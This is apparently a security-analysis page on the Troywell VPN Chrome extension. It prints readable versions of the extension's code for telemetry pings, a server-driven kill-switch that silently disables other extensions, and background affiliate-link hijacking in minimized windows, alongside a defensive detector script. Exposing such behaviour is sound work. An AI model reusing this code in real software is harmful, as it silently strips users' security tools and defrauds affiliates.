Is Free VPN for Chrome - Troywell VPN safe?

High risk

Troywell VPN is high risk. Troywell VPN registers a generated extension ID with troywell.org after install, then sends telemetry to analytics.troywell.org. The registration body held a UUID, version 5.0.5, app value, and UTM; requests expose the network address.…

75Risk
Who publishes it

1 other listing from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Same store account

1 other listing published from this account, 50k+ users between them. 1 of them carries a finding.

Shared hosts - 5 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

auth.http
Also called by 1 other listing: Troywell VPN Lite - unlimited VPN proxy
cdn.translations
Also called by 1 other listing: Troywell VPN Lite - unlimited VPN proxy
troywell.org
Also called by 1 other listing: Troywell VPN Pro
ext.troywell.org
Also called by 3 other listings: Troywell VPN Lite - unlimited VPN proxy, Troywell VPN Pro, Ускорить Ютуб | Обойти замедление
speedtest.mosline.ru
Also called by 3 other listings: Troywell VPN Lite - unlimited VPN proxy, Troywell VPN Pro, Cloud VPN

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Troywell VPN posts install and device telemetry

Troywell VPN registers a generated extension ID with troywell.org after install, then sends telemetry to analytics.troywell.org.

The registration body held a UUID, version 5.0.5, app value, and UTM; requests expose the network address.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You install or start the VPN extension.

The extension did this

The extension registers a generated identifier, then later posts device and language telemetry to Troywell analytics.

The ping is rate-limited in code, but it is initiated by the extension rather than by a visible form submission.

02EvidenceNETWORK CAPTURE
Captured request
POSThttps://troywell.org/api/extension/create
200 OK observed during dynamic analysis shortly after installation.
Headers
Content-Typeapplication/json
Body
{
  "extension_id": "afb87e95-ba49-4c45-8a70-85a6ae9761bf",
  "extension_version": "5.0.5",
  "app": "vpn",
  "utm": {}
}
03EvidenceNETWORK CAPTURE
Captured request
POSThttps://analytics.troywell.org/api/extension/ping
200 OK observed during dynamic analysis during the browse phase; the evidence recorded extension_id, extension_version, os, browser, app, and language fields in the JSON body.
Headers
Content-Typeapplication/json
04EvidenceFIELD TABLE
Fields in the registration and ping requests
FieldValueWhy it matters
Extension identifier
afb87e95-ba49-4c45-8a70-85a6ae9761bfThis gives Troywell a stable identifier for this extension install.
Extension version
5.0.5This tells the server which release you are running.
Operating system
Linux x86_64This describes the platform reported by your browser.
Browser family
chromeThis tells the server which browser family the extension detected.
App label
vpnThis labels the product line associated with the telemetry.
Browser language
en-GBThis reveals the language setting reported by your browser.
Install attribution
{}This can carry campaign parameters from the page that led to the install.
Network address
203.0.113.42 (illustrative)The receiving servers can associate the request with the network address used by your browser.
05EvidenceTEMPORAL PATTERN
When this fires
Every 12 hours

After analytics starts, the extension checks on an hourly alarm and sends the ping only when the last successful send is at least 12 hours old.

06EvidenceCODE COMPARE
The code that does this

The shipped service worker builds and posts both telemetry bodies

What it actually does
Registration and ping functions in the deobfuscated bundlebg/bundle.js
      le = function() {
        var t = x(g().mark((function t() {
          var e, r, n, a, o, c;
          return g().wrap((function(t) {
            for (;;) switch (t.prev = t.next) {
              case 0:
                return t.next = 2, _t();
              case 2:
                if (e = t.sent) {
                  t.next = 7;
                  break
                }
                return t.next = 6, Wt(300);
              case 6:
                return t.abrupt("return", le());
              case 7:
                if (!e || !e.extId) {
                  t.next = 9;
                  break
                }
                return t.abrupt("return", e.extId);
              case 9:
                return e.extId = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (function(t) {
                  var e = 16 * Math.random() | 0;
                  return ("x" == t ? e : 3 & e | 8).toString(16)
                })), t.next = 12, pe();
              case 12:
                return r = t.sent, n = {
                  extension_id: e.extId,
                  extension_version: chrome.runtime.getManifest().version,
                  app: "vpn",
                  utm: r
                }, t.next = 16, vt(ie, {
                  method: "POST",
                  headers: oe,
                  body: JSON.stringify(n)
                });
              case 16:
                return a = t.sent, t.next = 19, a.json();
              case 19:
                if (o = t.sent, !(c = o.message)) {
                  t.next = 27;
                  break
                }
                if (e.extPw = c, !e.extId || !e.extPw || e.pwWasLinked) {
                  t.next = 27;
                  break
                }
                return t.next = 26, vt(ue, {
                  method: "POST",
                  body: JSON.stringify({
                    extensionId: e.extId,
                    data: e.extPw
                  }),
                  headers: oe
                });
              case 26:
                e.pwWasLinked = !0;
              case 27:
                return t.next = 29, Pt({
                  extId: e.extId,
                  extPw: e.extPw,
                  pwWasLinked: e.pwWasLinked
                });
              case 29:
                return setTimeout((function() {
                  chrome.tabs.create({
                    url: chrome.runtime.getURL("agreement.html")
                  })
                }), 1e3), t.abrupt("return", e.extId);
              case 31:
              case "end":
                return t.stop()
            }
          }), t)
        })));
        return function() {
          return t.apply(this, arguments)
        }
      }(),
      ve = function() {
        var t = x(g().mark((function t() {
          var e, r;
          return g().wrap((function(t) {
            for (;;) switch (t.prev = t.next) {
              case 0:
                return t.next = 2, _t();
              case 2:
                if (e = t.sent, !(Date.now() - e.lastAliveStatus < 432e5)) {
                  t.next = 5;
                  break
                }
                return t.abrupt("return");
              case 5:
                return r = {
                  extension_id: e.extId,
                  extension_version: chrome.runtime.getManifest().version,
                  os: navigator.platform,
                  browser: z(),
                  app: "vpn",
                  language: navigator.language
                }, t.next = 8, vt(ae, {
                  method: "POST",
                  body: JSON.stringify(r),
                  headers: oe
                });
              case 8:
                Pt({
                  lastAliveStatus: Date.now()
                });
              case 9:
              case "end":
                return t.stop()
            }
          }), t)
        })));
        return function() {
          return t.apply(this, arguments)
        }
      }(),
Analytics initializer in the deobfuscated bundlebg/bundle.js
      xe = function() {
        var t = x(g().mark((function t() {
          return g().wrap((function(t) {
            for (;;) switch (t.prev = t.next) {
              case 0:
                return J({
                  module: "analytics",
                  action: "initAnalytics",
                  delayInMinutes: 60
                }), t.next = 3, _t();
              case 3:
                if (t.sent) {
                  t.next = 8;
                  break
                }
                return t.next = 7, Wt(300);
              case 7:
                return t.abrupt("return", xe());
              case 8:
                return t.next = 10, ve();
              case 10:
                return t.next = 12, he();
              case 12:
                return t.abrupt("return", !0);
              case 13:
              case "end":
                return t.stop()
            }
          }), t)
        })));
        return function() {
          return t.apply(this, arguments)
        }
      }(),
Install, startup, and alarm dispatch in the deobfuscated bundlebg/bundle.js
    chrome.runtime.onInstalled.addListener((function() {
      ho(), J({
        module: "caa",
        action: "setCaaInfo",
        data: {
          applyProgram: !0,
          show: !1
        },
        delayInMinutes: 2880
      })
    })), chrome.runtime.onStartup.addListener(ho), chrome.management.onEnabled.addListener((function(t) {
      t.id === chrome.runtime.id && ho()
    })), vo(), Er(), Sa(), chrome.runtime.onMessage.addListener((function(t, e, r) {
      var n = t.module,
        a = t.action,
        o = t.data,
        c = ao(),
        i = oo(),
        u = n ? i[n] : c;
      return u && "function" == typeof u[a] ? u[a].call(u, {
        data: o,
        sender: e,
        sendResponse: r
      }) : r(null), !0
    })), chrome.alarms.onAlarm.addListener((function(t) {
      var e = t.name,
        r = JSON.parse(e),
        n = r.module,
        a = r.action,
        o = r.data,
        c = ao(),
        i = oo(),
        u = n ? i[n] : c;
      return u && "function" == typeof u[a] && u[a].call(u, {
        data: o
      }), !0
    }))
07EvidenceTHIRD PARTY LIST
Telemetry destinations
  • troywell.org

    Receives the installation registration POST containing the generated extension identifier, version, app label, and UTM object.

  • analytics.troywell.org

    Receives the periodic extension ping containing the generated identifier, version, OS, browser, app label, and browser language.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-829
SourceAI SANDBOX

Remote Kill-Switch Can Disable Your Other Extensions

Troywell VPN downloads a server-controlled extension-ID list every startup, then can disable any of those extensions, ad blockers included, with no prompt.

A second config ("terminator") downloads ad rules bypassing the VPN's own filters.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You install Free VPN for Chrome and grant it the management permission.

The extension did this

Every startup, the extension downloads an extension-ID list from troywell.org with no prompt, and disables every extension on it via a privileged API.

You are never notified. No UI is shown. The extension IDs to disable are chosen entirely by the server.

02EvidenceFIELD TABLE
What the Thanos kill-switch config controls:
FieldValueWhy it matters
Extensions to disable
cfhdojbkjhnklbpkdaibdccddilifddbOther installed extension IDs the server wants disabled. Could include ad blockers, privacy tools, or rival VPNs.
Activation timing
activationTimeWhether extensions are disabled immediately on install or at some later time chosen by the server.
Stored target list
thanosExtStorage key in chrome.storage.localThe list of extension IDs to disable is saved to your browser so it persists across sessions.
03EvidenceSTORAGE DUMP
What's stored on your device

The kill-switch list observed during analysis; these IDs are popular ad blockers and privacy tools. The server can update it any time.

Locationchrome.storage.local key 'thanosConfigs'
Contents
{
  "data": [
    {
      "activationTime": [
        "cfhdojbkjhnklbpkdaibdccddilifddb",
        "gighmmpiobklfepjocnamgkkbiglidom",
        "gomekmidlodglbbmalcneegieacbdmki",
        "cjpalhdlnbpafiamejdnhcphjbkeiagm"
      ]
    }
  ]
}
04EvidenceCODE COMPARE
The code that does this

The kill-switch: shipped minified code vs what it actually does.

What it actually does
Init function — what runs on every extension startup
async function init() {
  await initSettings();      // load persisted settings
  await initStorage();       // initialize local storage
  setupAlarms();             // periodic refresh alarms
  await loadConfig();        // load extension config

  // Fetch all remote kill-switch configs in parallel:
  await Promise.all([
    fetchBlockingDomains(),   // ad-block rules
    fetchAdConfigs(),
    fetchTerminatorConfigs(), // Br() -- second kill-switch
    fetchTranslations(),
    fetchMerchants(),
  ]);
  fetchBlockingDomainRules();  // apply DNR rules
  await applyDeclarativeNetRequestRedirects();
  await fetchThanosConfigs();  // aa() -- primary kill-switch: GET troywell.org/api/configs/thanos
  applyThanosKillSwitch(false, 'anyTime');  // disable targeted extensions now
  killCompetingProxyExtensions();  // ia() -- disable all other extensions with proxy permission
}
Kill-switch executor — reads server list, calls chrome.management.setEnabled(id, false)
async function applyThanosKillSwitch(enable = false, field = 'activationTime') {
  const browser = await getBrowserInfo();
  // Kill-switch only runs on Chrome (not Yandex Browser or Firefox)
  if (browser.browser === 'yabrowser' || browser.browser === 'firefox') return;
  if (!chrome.management) return;

  const thanosData = await readThanosConfigs();  // from chrome.storage.local 'thanosConfigs'
  if (!thanosData || thanosData.length === 0) return;

  // Get IDs of all currently enabled extensions
  const enabledIds = await new Promise(resolve =>
    chrome.management.getAll(exts =>
      resolve(exts.filter(e => e.enabled).map(e => e.id))
    )
  );
  const selfId = await new Promise(resolve => chrome.management.getSelf(resolve)).id;

  // Compute intersection: enabled extensions that appear in the server's target list
  let targets = intersect(thanosData[0][field] || [], enabledIds);

  if (field === 'activationTime') {
    if (!enable) {
      await writeThanosExtStorage(targets);  // save targets to thanosExtStorage
    } else {
      targets = await readThanosExtStorage();  // restore previously saved list
      await writeThanosExtStorage([]);
    }
  }

  for (const extId of targets) {
    if (extId === selfId) continue;  // never disable itself
    chrome.management.setEnabled(extId, enable);  // DISABLE the target extension
  }
}
Competing proxy killer — disables ALL other extensions that have the proxy permission
async function killCompetingProxyExtensions() {
  const browser = await getBrowserInfo();
  if (browser.browser === 'yabrowser' || browser.browser === 'firefox') return;
  if (!chrome.management) return;

  // Find every enabled extension that has the proxy permission AND is not Troywell
  const competitorIds = await new Promise(resolve =>
    chrome.management.getAll(exts => {
      const competitors = exts.filter(ext =>
        ext.enabled &&
        ext.permissions.includes('proxy') &&
        !ext.name.toLowerCase().includes('troywell')
      );
      resolve(competitors.map(e => e.id));
    })
  );

  // Disable all of them silently -- no UI, no permission prompt
  competitorIds.forEach(id => {
    if (id !== chrome.runtime.id) {
      chrome.management.setEnabled(id, false);
    }
  });
}
05EvidenceTHIRD PARTY LIST
Servers that control which extensions you are allowed to use:
  • troywell.org

    Primary server. Hosts the Thanos kill-switch config (/api/configs/thanos) and Terminator ad-rule config. Run by Troywell Ltd, this extension's publisher.

  • analytics.troywell.org

    Analytics endpoint. Receives extension ping data (/api/extension/ping), URL visit data (/api/extension/urls), and Google Analytics relay (/api/extension/ga).

06EvidenceARTIFACT
Check if you're affected

Run this in Chrome DevTools (inside the extension's service worker context) to see whether the Thanos kill-switch config has been downloaded and which extension IDs it is targeting. Works without network access, reads the already-cached config from local storage.

RequiresChrome with Developer mode enabledFree VPN for Chrome (Troywell) installed and started at least once
troywell-killswitch-detector.js · js
// troywell-killswitch-detector.js
// Reads the Troywell Thanos kill-switch config from chrome.storage.local
// and lists which extension IDs are targeted for remote disabling.
//
// HOW TO RUN: see usage instructions below.

(async function() {
  const result = await new Promise(resolve =>
    chrome.storage.local.get(['thanosConfigs', 'thanosExtStorage', 'terminatorConfigs'], resolve)
  );

  console.log('=== Troywell Kill-Switch Detector ===\n');

  // --- Thanos: server-dictated extension disable list ---
  const thanos = result.thanosConfigs;
  if (!thanos || !thanos.data) {
    console.log('[THANOS] Not yet fetched from server (try restarting the browser).');
  } else {
    console.log('[THANOS] Kill-switch config received from troywell.org/api/configs/thanos');
    const entries = thanos.data;
    entries.forEach((entry, i) => {
      const keys = Object.keys(entry);
      keys.forEach(field => {
        const ids = entry[field];
        if (Array.isArray(ids) && ids.length > 0) {
          console.log(`  Field "${field}" -- ${ids.length} extension(s) targeted:`);
          ids.forEach(id => console.log(`    - ${id}`));
        }
      });
    });
  }

  // --- thanosExtStorage: which extensions were actually disabled this session ---
  const extStorage = result.thanosExtStorage;
  if (extStorage && extStorage.length > 0) {
    console.log('\n[THANOS ACTIVE] These extensions were disabled this session:');
    extStorage.forEach(id => console.log('  -', id));
  } else {
    console.log('\n[THANOS ACTIVE] No extensions disabled yet this session (or list was cleared).');
  }

  // --- Terminator: ad-rule override config ---
  const terminator = result.terminatorConfigs;
  if (!terminator || !terminator.data) {
    console.log('\n[TERMINATOR] Not yet fetched from server.');
  } else {
    console.log('\n[TERMINATOR] Ad-rule config received from troywell.org/api/configs/terminator');
    const data = terminator.data;
    if (Array.isArray(data)) {
      console.log(`  ${data.length} rule entries present. Sample:`);
      data.slice(0, 5).forEach((rule, i) => console.log(`  [${i}]`, JSON.stringify(rule)));
      if (data.length > 5) console.log(`  ... and ${data.length - 5} more.`);
    } else {
      console.log('  Raw data:', JSON.stringify(data).substring(0, 500));
    }
  }

  console.log('\n=== End of report ===');
})();
How to run it
  1. 1
    Install, open Chrome.
  2. 2
    chrome://extensions, enable Developer mode.
  3. 3
    Click the extension's "service worker" link for DevTools.
  4. 4
    Paste the script, Enter.
  5. 5
    Any IDs under THANOS are controlled by troywell.org.
SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Browsing a listed retailer triggers a background affiliate tag

Troywell VPN matches sites you visit against retailer domains from cdn.troywell.org.

Opening one POSTs an activation record to troywell.org/api/transaction/create; a deepLink reopens it via an affiliate network with the extension's ID.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open a shopping site that appears on the extension's downloaded retailer list.

No click, no coupon prompt and no interaction with the extension is required, opening the page is enough.

The extension did this

The background code sends an activation record for that retailer to troywell.org and opens a minimized window re-entering the retailer via an affiliate link.

The record is marked activationType "no-cashback", so no cashback is credited to you, and clickSource "ac", the extension's own label for automatic activation.

02EvidenceNETWORK CAPTURE
Captured request
POSThttps://troywell.org/api/transaction/create
Three such requests were captured from the background service worker while browsing retailers from the extension's own list, with no user interaction. On the run whose install age had been advanced past the 48-hour condition, the server returned a deepLink, which the extension then opened in a minimized window; on a run with an unregistered install identifier the server returned {"message":"master offer not found","status":false} and no deepLink was issued.
Headers
Content-Typeapplication/json
Body
{
  "network": "",
  "offer_id": "68834c549f8f312c48879524",
  "extension_id": "<redacted>",
  "activationType": "no-cashback",
  "app": "vpn",
  "clickSource": "ac",
  "extVersion": "5.0.5",
  "vProtect": "2"
}
03EvidenceFIELD TABLE
What the activation record contains:
FieldValueWhy it matters
The retailer you just opened
68834c549f8f312c48879524The extension's own ID for the shopping site you are on, which tells the server which retailer you are browsing right now.
Your extension install ID
bb5b97f9-3c41-4e0a-9d18-2f6ca07be5d1 (illustrative)A per-install identifier that stays the same across sessions, so every activation record can be tied back to the same copy of the extension.
What you get back
no-cashbackSet to "no-cashback", the extension's own label for an activation that credits nothing to you.
How the activation started
acSet to "ac" for automatic activation, meaning the record was sent from page navigation rather than from you clicking anything.
Which product sent it
app=vpn, extVersion=5.0.5Identifies the sender as the VPN product, and gives the exact extension version you are running.
Affiliate network slot
""Names the affiliate network the activation belongs to; it arrives empty and the server picks the network when it issues the deep link.
04EvidenceCODE COMPARE
The code that does this

The conditions that release the activation, and the record that gets sent

What it actually does
Activation conditions, readablebg/bundle.js
// ma({url, tabId}) — runs on navigation
const { domainChanges } = await chrome.storage.local.get("domainChanges");
if (!domainChanges) return false;                    // server-set flag

const { merchant, state } = await lookupMerchant({ url });
if (!merchant) return false;                         // url not on the downloaded retailer list
if (!merchant.isACBAvailable) return false;          // retailer not enabled for auto-activation

const cookies = await getCookies({ url: "https://troywell.org" });
if (cookies.find(c => c.name === "hasExt")) return false;

const settings = await getCaaSettings();
if (Date.now() < settings.installTime + 172800000) return false;   // 48 hours since install
if (!settings.activations.applyProgram) return false;             // flag set by a scheduled alarm

if (!state.activated && merchant.fastWorking) {
  sendActivation({ data: { merchantId: merchant.id, activationType: "no-cashback", clickSource: "ac" } });
  return false;
}
The record that is POSTed, readablebg/bundle.js
// va({ merchantId, network, activationType, clickSource })
const { caaSettings } = await chrome.storage.local.get("caaSettings");
const body = {
  network,
  offer_id: merchantId,
  extension_id: caaSettings.extId,
  activationType,                 // "no-cashback"
  app: "vpn",
  clickSource,                    // "ac" = automatic
  extVersion: chrome.runtime.getManifest().version,
  vProtect: "2"
};

const res = await request(TRANSACTION_CREATE_URL, {   // https://troywell.org/api/transaction/create
  headers, method: "POST", body: JSON.stringify(body)
});
if (!res.ok) return { deepLink: null };
const json = await res.json();
return { deepLink: json.deepLink };

// caller: opens the returned deepLink out of view
chrome.windows.create({ url: redirectPrefix + encodeURIComponent(deepLink), state: "minimized", type: "normal" },
  w => trackActivation({ tabId: w.tabs[0].id, deepLink, isBackgroundTab: true, merchantId }));
05EvidenceCORRESPONDENCE
A test run's URL carried a rival tag; the extension re-entered minutes later with its own ID:
WhenYou didExtension did
+2 min 47 s
user
You open aliexpress.ru with another party's affiliate tag already on the URL.A marker value was planted in the affiliate parameter before the visit so the two tags could be told apart.
extension
A minimized window loads an aliexpress.ru affiliate redirect carrying the extension's transaction ID as the sub-ID, referred from troywell.org.Landing URL: aliexpress.ru/aff/redirect/uzk4e1c?subid=6a82838fd373352689dac4be&utm_referrer=https%3A%2F%2Ftroywell.org%2F
+3 min 10 s
user
You open citilink.ru with another party's affiliate tag already on the URL.
extension
A minimized window follows an AdvCake redirect at go.avck.ws carrying the extension's transaction ID, landing back on citilink.ru tagged to that campaign.Landing URL: citilink.ru/?utm_source=advcake&utm_medium=cpa&utm_campaign=32937b79
+3 min 26 s
user
You open litres.ru with another party's affiliate tag already on the URL.
extension
A minimized window follows a sovtrk.com redirect carrying the extension's transaction ID, landing back on litres.ru tagged to that campaign.Landing URL: litres.ru/?utm_source=advcake&utm_campaign=sovaunion
+3 min 46 s
user
You open shop.mts.ru with another party's affiliate tag already on the URL.
extension
A minimized window follows a Gdeslon redirect at sf.gdeslon.ru carrying the extension's transaction ID, landing back on shop.mts.ru tagged to that campaign.Landing URL: shop.mts.ru/?utm_medium=cpa&utm_campaign=Gdeslon_
06EvidenceTHIRD PARTY LIST
Hosts involved in one activation:
  • troywell.org

    Vendor backend. Receives the activation record (offer ID, extension ID, activation type, click source, version) and returns the affiliate deep link.

  • cdn.troywell.org

    Vendor CDN. Serves the retailer domain list, containing 680 entries and 886 matchable hostnames, that your browsing is matched against locally.

  • ad.admitad.com

    Admitad affiliate network. Sets a UID cookie on .ad.admitad.com when the deep link is followed; reached via the shortener heqgr.com.

  • go.avck.ws

    AdvCake affiliate network redirect. Carries the extension's transaction ID as sub1 and lands the retailer with utm_source=advcake.

  • sf.gdeslon.ru

    Gdeslon affiliate network redirect. Carries the extension's transaction ID as sub_id before landing the retailer.

  • sovtrk.com

    Affiliate tracking redirect. Carries the extension's transaction ID as xid before landing the retailer.

07EvidencePLAIN NOTE
What we observed, and what we did not

The POST to troywell.org/api/transaction/create was captured directly during dynamic analysis, sent from the background service worker while browsing retailers taken from the extension's own list, with no user interaction. The onward deep-link chain in the table above was observed in a run where the stored install timestamp had been moved back past the extension's own 48-hour condition. None of the three conditions is a user choice: one is a flag the vendor's server sets, one is elapsed time since install, and one is set by a scheduled alarm 48 hours after install, so all three resolve without any user step within two days of installing. A short capture on a fresh install therefore does not reach this path, and one did not: on a fresh-install run, visiting a listed retailer produced zero requests to that endpoint.

+3 more findings not shown

What it can do

Permissions this extension asks for, as declared in version 5.0.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 5.0.3, which we have not unpacked yet.

  • Read and change your data on every site you visit

    <all_urls>

  • See the address and title of every tab you have open

    tabs

  • Watch every request your browser makes

    webRequest

  • See, disable and uninstall your other extensions, including your security ones

    management

  • See every page you navigate to, as you navigate to it

    webNavigation

  • Store data in your browser

    storage

  • Schedule its own background tasks

    alarms

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Route all of your browsing through a server of its choosing

    proxy

  • Show you desktop notifications

    notifications

  • Change your browser's privacy and security settings

    privacy

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Run its own code inside the pages you visit

    scripting

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • See which of your requests its blocking rules matched

    declarativeNetRequestFeedback

webRequestAuthProviderdeclarativeNetRequestWithHostAccess
Updated 30 September 2026adlpodnneegcnbophopdmhedicjbcgco